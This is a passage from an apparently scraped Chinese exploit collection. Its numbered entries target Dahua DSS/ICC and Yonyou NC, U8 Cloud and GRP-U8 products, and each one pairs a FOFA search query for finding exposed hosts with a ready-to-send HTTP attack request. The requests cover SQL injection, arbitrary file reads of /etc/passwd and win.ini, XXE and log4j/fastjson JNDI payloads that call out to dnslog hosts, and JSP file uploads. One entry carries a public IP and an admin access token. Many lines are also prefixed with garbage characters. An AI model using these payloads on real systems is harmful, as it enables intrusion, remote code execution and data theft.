GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
, S9 ]- A9 c7 _! n# L* E3 ^* H3 n$ oHost: x.x.x.x
# S5 h7 Y' c/ L% d: Z7 |0 E% F7 CUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Accept: */*
( e2 Y; a. g& j; f) Z" q1 ^8 lAccept-Language: en
Accept-Encoding: gzip
# L( x) b! Y, e( Z5 J
9 i  b( u/ W; Z- [* a# k
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
5 |* m4 k0 n; |7 q1 t- k( A# R& B# KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 u; Q' [/ r, h+ _# oConnection: close
8 X) k1 W3 t/ @' e" cContent-Length: 345
1 ~2 F2 m( n+ v6 @/ ZAccept-Encoding: gzip
8 R; w" e0 x4 n; J
* x" y  f0 C) C7 b- `<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
) K, P0 I$ L+ b2 d3 s1 c( i8 S    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
1 E2 _+ _5 H- ]" \/ I      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
( l1 T* c9 B0 e      </netMarkings>
    </ns1:deleteBulletin>
& u3 K2 J! x9 C( p  </s11:Body>
</s11:Envelope>

* f1 `, d! J: K4 \1 j/ h1 `0 \
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
! z& ~2 `9 L7 x3 {1 wGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
& i" ?9 i1 A, y0 m! ~. LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
: N9 V- t& l; l% a& E. c% ]5 \' [+ p


/ ^( B1 F: H- A, X. t5 K) |19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
- d" H7 [# P# R. l: G5 W/ `GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
) D, V6 \" A" {) bHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
8 r0 L* m. Y. Y' ?* `7 k3 @Connection: keep-alive
* K  o4 M* I" V  N. g( Q1 l7 O4 P" ?

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
' }& v4 G% M0 d) xGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
7 {# |$ Z; e0 I3 O6 N: bHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
( i8 E& K3 g. {4 V, W
; P9 a2 k3 b$ C% {) o; V
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
: Z( e! j* \9 s5 ?. J- h/ I. U" q( gPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
6 L$ }2 s' J; c4 |2 L' P' KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
( f# e* j4 c' qAccept-Encoding: gzip
Connection: close
9 T2 Z2 A+ ]( N) {4 kContent-Type: application/json;charset=utf-8

8 s* Z" D# d) N* @& U3 d. O+ `{
) Y' _( P/ j  V0 K7 ~  b7 N"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
, B% B! L% N& ~* w  }""
}
& v- |3 |  b1 d9 b9 A
% x' d6 S, p$ v: T% h* i% T
) q) q6 X% R9 B7 l' P4 n  b) Y7 m22. 大华ICC智能物联综合管理平台 log4j远程代码执行
& Z0 S) {6 V; e# w0 D1 v: A5 A& QFOFA：icon_hash="-1935899595"
6 @$ }6 C0 a; m: v  t& \POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
1 W7 }0 s( U  I; C- [( R0 I  XHost: your-ip
, T, R& `: W$ [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
* ?2 f: i; U5 p# \. MContent-Type: application/json;charset=utf-8
# V3 I# @; {3 Q) U) N: l% g3 \  p
{
. e" X2 S; R* O7 y1 B2 _  u# @"loginName":"${jndi:ldap://dnslog}"
4 @; i/ v" ~9 u}

, x/ i. J+ x4 L! ^

2 ^0 v0 u, d$ ~& Q9 v6 p4 Y6 Z23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
2 U, G2 h* B; u5 X7 ]# q4 `' C& CAccept-Encoding: gzip
Connection: close

' J* [" p& {( R3 `! m8 L7 U{
    "a":{
) B6 X- u( G$ C1 }        "@type":"com.alibaba.fastjson.JSONObject",
1 U0 s  x% M/ b       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
8 q( o) X. r' @}


' [2 U; E1 _3 ]+ _24. 用友NC 6.5 accept.jsp任意文件上传
3 c6 C% `6 Q( GFOFA：icon_hash="1085941792"
# b  c/ X+ Q2 j5 G7 L/ s: f; _POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
( k8 ~. G2 ~8 D" P. a7 LUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
! F8 l$ A* Y% B9 V/ u9 EConnection: close
2 W* B9 N  c3 @! j9 m7 y, kContent-Length: 449
Accept: */*
3 \: x6 x- U  i) [, DAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
- x8 f  d8 Q  d$ \9 TContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
  g: x3 K7 K( f, G- R6 c/ s4 YContent-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
( \" V* t; M3 O7 Z-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"
7 z: Q/ K% r9 {; q: a
% L5 A: ?+ c/ P# j\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
2 I5 K( p, B0 r" q-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--

5 f, a. o$ j' _# y& m, T( M
25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
! m. l5 k0 ?0 N, ?+ M6 z3 t- H) @Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
2 y: t: P6 `" u3 W! @* ?( aAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
8 }- q% W. b/ c6 y( \Content-Type: application/x-www-form-urlencoded

' `, D) m# w, K" p7 H6 s$ wtype=1&dsname=ldap://dnslog



' q! C% e* O  p( ?: ~26. 用友NC linkVoucher SQL注入
0 m7 k; Q2 V3 k" L. F7 o5 d- ?9 ~4 P' aFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) T6 b- _# X* T* ~3 z6 j) W( uContent-Type: application/x-www-form-urlencoded
, }7 ^: Z! v; {( k, RAccept-Encoding: gzip, deflate
" w0 Y& W0 k  t0 JAccept: */*
Connection: keep-alive


* \- O, x1 f" Q  i5 f27. 用友 NC showcontent SQL注入
+ g( j6 n5 ^! g: jFOFA：icon_hash="1085941792"
6 k! |1 v- O8 [4 ~! c6 ^GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
3 e2 U7 {& P+ o& }" ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( W# c2 {( d+ }. R0 g7 d/ O8 c* SAccept-Encoding: identity
9 H' J2 p* s4 g  B% xConnection: close
Content-Type: text/xml; charset=utf-8
7 U7 x3 s" ~2 y# W2 d9 g+ R( ?
& q( D. N9 e, n* t
28. 用友NC grouptemplet 任意文件上传
: e: a) j, t. C$ \2 pFOFA：icon_hash="1085941792"
% j: o# M% |7 t; R- w5 ^POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
8 s7 w8 K0 ^0 y9 M% m8 R- g/ qConnection: close
Content-Length: 268
; j/ J) T5 r  h9 T4 L5 PContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
/ C0 H9 M! X* p; ~Accept-Encoding: gzip
# s9 L. P* H2 p
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
! N/ k( Y2 X% V: q7 w! M- tContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream
/ O1 a- C6 R% H: d8 N+ [4 K
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
+ X  b2 @8 A5 C0 B$ ~
+ h2 W: y9 j7 A& y$ |3 C* U. C& f
/uapim/static/pages/nc/head.jsp
) ~, Y( Z! f& I- X* n9 K2 E/ v
- w+ ]7 S; M5 O6 ]( w29. 用友NC down/bill SQL注入
9 G# K- s* y0 B; GFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
* W$ `$ ]4 D! H9 x/ o2 VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
- h! v  K" ?, f' K+ h) [* R; ?8 Y/ p7 oAccept-Encoding: gzip, deflate
Accept: */*
% _' t5 ?* c  o+ BConnection: keep-alive

# \3 s3 b$ y/ k4 r! ^9 ?
# n! Y! `% u3 E+ Y+ @30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
  |- C" A. I7 O5 X. a4 }" c. `) NHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
' b+ \+ `; `+ NConnection: close
; p, p0 h6 ^9 j
* z" j1 m- b: @2 g------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
Content-Type: image/jpeg
  b% z6 E3 F+ {------WebKitFormBoundaryH970hbttBhoCyj9V--

/ F, i( A' P7 r2 P3 Y
31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
9 i2 n" ^1 m9 I$ ^, eGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
! ?  q1 e% i* `5 L5 a) W" B2 t! zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


( R! q+ k' \0 z. |9 _* v32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
: U! K& [' v" e" K$ V/ f+ `; PGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
+ B  ~5 y/ }. H' c. J6 {5 F0 ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; d+ n- T3 I  q& ~! yContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
$ c% B* z/ t, }% ~  Y3 a$ W6 F$ g4 EAccept: */*
Connection: keep-alive
5 W. W& J, @) [" ~

. P  S3 A- n% d+ O& i33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
: ~/ |: i2 I6 [9 z* d1 b) j! |' eGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 C" e/ s; L( @& _Host: your-ip
2 y0 D5 i* M3 M" I& ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
) ?* W0 F$ W/ {9 lAccept-Encoding: gzip, deflate
Accept: */*
2 s' y1 `7 _7 R5 x/ O; ]* X# zConnection: keep-alive
8 ^8 c, I% D1 t1 i- p1 I- ^
6 r( V1 f) Y. y6 G5 g  I& J" t7 O9 j
6 ^; a$ Z/ F, ?) B9 o34. 用友NC warningDetailInfo接口SQL注入
) u) \1 _6 }/ T# tFOFA：app="用友-UFIDA-NC"
+ @9 @9 X+ x8 x& h, {GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
4 ?% L% Q8 O) }) iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
3 \* `) }; j2 nContent-Type: application/x-www-form-urlencoded
9 v) D# P: S% k2 jAccept-Encoding: gzip, deflate
Accept: */*
1 o) h* L( z9 S+ G& _Connection: keep-alive


) F0 j( c) s# |' Z: C% V35. 用友NC-Cloud importhttpscer任意文件上传
FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
- d" m! y/ h1 S% K* ^User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
. Z; S2 I& Y- f4 |Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
! v$ g4 j/ E- R, z$ P4 waccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
% e  Q' `  A7 L  ]" U; e3 T! jContent-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
. T7 u+ w2 x% f) F
% j! p- z/ l6 u7 _6 {6 M/ M--fd28cb44e829ed1c197ec3bc71748df0
/ v' \/ T8 E' |+ ]/ c3 a9 fContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

% ?3 G7 ]  \0 i' D' y7 o. p<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

. P) H# g8 l2 h+ j) S: q4 d1 ^
36. 用友NC-Cloud soapFormat XXE
  k* \% E$ b& Q1 V( f% @FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
% m7 y: i' s6 r- v' |" d! FPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
+ u8 P( Z/ O& d, _- |9 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
4 A  X: d8 Q8 m; rContent-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
' U3 E* Y" d0 h7 e" PContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1

* V% j4 z' m: g% b: Q% rmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
! f; w, j7 b; |

37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
! a% }# g% e5 K/ L$ WHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
+ C+ V% j- m! f. @Connection: close
# f2 o; ^5 L+ U" hContent-Type: text/xml;charset=UTF-8
: X0 w( s  R4 E3 B$ b. C0 ^0 `' ySOAPAction: urn:getResult
Upgrade-Insecure-Requests: 1
3 C' H9 x* {) P  ]( H6 U
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
! G: q$ S  u% C/ p# F6 l<iup:getResult>
' k3 ?: p$ M7 ~. A$ u7 W<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
( I( d* t; w: n6 j7 N; q* I<xxx/>]]></iup:string>
</iup:getResult>
+ V9 N8 b( V) h0 _, l# {% e/ K  L$ A</soapenv:Body>
</soapenv:Envelope>



38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
Host: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
' D- f4 Z2 [% ?! V2 V1 |/ X; ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
5 p( }+ P" C% `! c* h5 g- t: S0 eAccept-Encoding: gzip, deflate
5 \% l, S  a6 M: n) `2 DAccept-Language: zh-CN,zh;q=0.9
: a; ~  @: w0 M% Y+ UConnection: close
# r- n0 ^5 w) kContent-Type: application/x-www-form-urlencoded

__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

/ S: R8 g% M1 W2 E7 I; k
! v6 E( y- g5 J; G0 V; H39. 用友U8 Cloud RegisterServlet SQL注入
* ^) B2 U. u7 ^: ~' }: u6 mFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
6 W% M9 G5 e3 \Host: 192.168.86.128:8089
, G. u. r7 m* t. p- b" EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
" ]% b& C* V3 E, IConnection: close
Content-Length: 85
# \6 k7 A) V: ^Accept: */*
Accept-Language: en
! p" W" K  v  |/ P1 a1 ~- ZContent-Type: application/x-www-form-urlencoded
- |9 D: f: \) F- q1 a4 y0 D" eX-Forwarded-For: 127.0.0.1
. m, c5 _7 ?5 B+ O4 ~' E# Z& tAccept-Encoding: gzip
$ q" c3 j7 y8 ?0 r; F3 d9 r
( C+ T7 Q, M1 z2 ^* Qusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--
' ], ~* X. D1 T' |' @
: Y$ P8 p/ b2 g7 z
40. 用友U8-Cloud XChangeServlet XXE
/ S+ {; r6 s4 `! e/ G, IFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
. x) m% i& o$ g* x+ o) RUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Content-Type: text/xml
Connection: close
' |; e1 L# D( M1 ?- {
7 B  j8 Y) c/ R; |+ c9 z<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
$ x0 C- W' {+ _* ]6 @. g
- D+ j6 u  m! C/ p4 R. E
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
/ l( \2 ~! v8 |0 A' c) l+ n- [FOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
( ~2 V$ p- c$ }/ Q2 m6 q+ h, PHost:
2 q: S5 Q; p5 K, }  h9 oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 A3 i; Y. p1 F8 `0 F8 w8 UContent-Type: application/json
Accept-Encoding: gzip
Connection: close


42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
/ E! G$ w8 V; E' y( N- X; @0 B* m! XPOST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

( c4 }: w, J, {6 T; E$ I  t9 t+ rPAYLOAD
  d8 I3 X/ @$ \# T& K% t
7 ?. K% o$ V6 b1 a3 }# z
: F. F* V0 X: _1 o* V2 Whttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
, e  w% @- h) T
1 M) C9 S/ D; i; ?43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
% }5 g( ^: E4 ePOST /services/userInfoWeb HTTP/1.1
$ v* c7 z4 g" Z# Y5 qHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  X, s8 ], \/ D- h# Q1 E! N* QConnection: close
+ [( S& h/ n2 L; z1 ^SOAPAction:
Content-Type: text/xml;charset=UTF-8

8 o$ s6 O! u. k1 N<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
! m5 R8 y- V7 b- G   <soapenv:Header/>
! L. q5 S* i1 x$ s. C! P- i9 j   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
0 ]7 d1 |( L9 G2 v. [         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
- }: Y/ Z2 Z1 p   </soapenv:Body>
</soapenv:Envelope>


1 l! @, V, q7 V5 |& V44. 用友GRP-U8 bx_dj_check.jsp SQL注入
* x9 h: R- ]% d$ c, _$ J6 ^FOFA:app="用友-GRP-U8"
8 ~" z0 r  w" H( k8 `  [GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
' a/ R8 V9 ?9 @- SHost: your-ip
! N5 ^! M! `. t) U* J0 w; n7 pUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
/ c, s5 H5 u" ^" G' PAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% G( d) ~9 Y7 q7 z, Y1 B, aAccept-Language: zh-CN,zh;q=0.9
9 T8 j8 v/ Q  g) T$ P  uConnection: close

, K! l/ u6 x* c( g( A5 Y: Z6 ^
" s3 w; |; G$ \, Y  n, I7 G/ C5 y4 ~45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
" |2 l: K2 U0 f+ _+ V9 j8 gPOST /ufgovbank HTTP/1.1
7 b9 h9 u" P2 g1 l  VHost: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; H3 G0 Q6 |9 _. p. gContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
7 q+ i( ^- @) H; C( O# q* l, `
" J6 w* U) m+ }( A0 K! F6 S/ q+ @6 xreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
- ^, Q% i. ~7 `( h' }  P

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
1 }# _% p9 H) ]& W* z2 gGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
, c: r' X: V( b5 H" h4 o* EHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ t3 j6 @1 b# ?/ t0 WConnection: close

# m! ]' m# n$ m; W% m
47. 用友GRP A++Cloud 政府财务云 任意文件读取
. Q1 K( F5 g7 H8 s4 rFOFA：body="/pf/portal/login/css/fonts/style.css"
